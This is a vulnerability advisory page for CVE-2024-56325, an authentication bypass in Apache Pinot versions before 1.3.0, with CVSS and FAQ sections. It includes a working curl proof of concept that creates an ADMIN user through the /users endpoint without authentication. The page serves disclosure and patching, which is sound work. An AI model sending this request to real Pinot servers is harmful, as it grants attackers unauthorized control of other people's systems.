Vulnerability Description
Authentication Bypass Issue If the path does not contain / and contain., authentication is not required. Expected Normal Request and Response Example curl -X POST -H "Content-Type: application/json" -d {\"username\":\"hack2\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"} http://{server_ip}:9000/users Return: {"code":401,"error":"HTTP 401 Unauthorized"} Malicious Request and Response Example curl -X POST -H "Content-Type: application/json" -d '{\"username\":\"hack\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"}' http://{serverip}:9000/users; http://{serverip}:9000/users; . Return: {"users":{}} A new user gets added bypassing authentication, enabling the user to control Pinot.
CVSS Score
CRITICAL
Affected Products
| Vendor | Product | Versions |
|---|---|---|
| Apache | Pinot | < 1.3.0 |
Related Weaknesses (CWE)
References
- https://lists.apache.org/thread/ksf8qsndr1h66otkbjz2wrzsbw992r8vMailing ListVendor Advisory
- http://www.openwall.com/lists/oss-security/2025/03/27/8Mailing ListThird Party Advisory
FAQ
What is CVE-2024-56325?
CVE-2024-56325 is a vulnerability with a CVSS score of 9.8 (CRITICAL). Authentication Bypass Issue If the path does not contain / and contain., authentication is not required. Expected Normal Request and Response Example curl -X POST -H "Content-Type: application/json...
How severe is CVE-2024-56325?
CVE-2024-56325 has been rated CRITICAL with a CVSS base score of 9.8/10. This is considered a critical vulnerability requiring immediate attention.
Is there a patch for CVE-2024-56325?
Check the references section above for vendor advisories and patch information. Affected products include: Apache Pinot.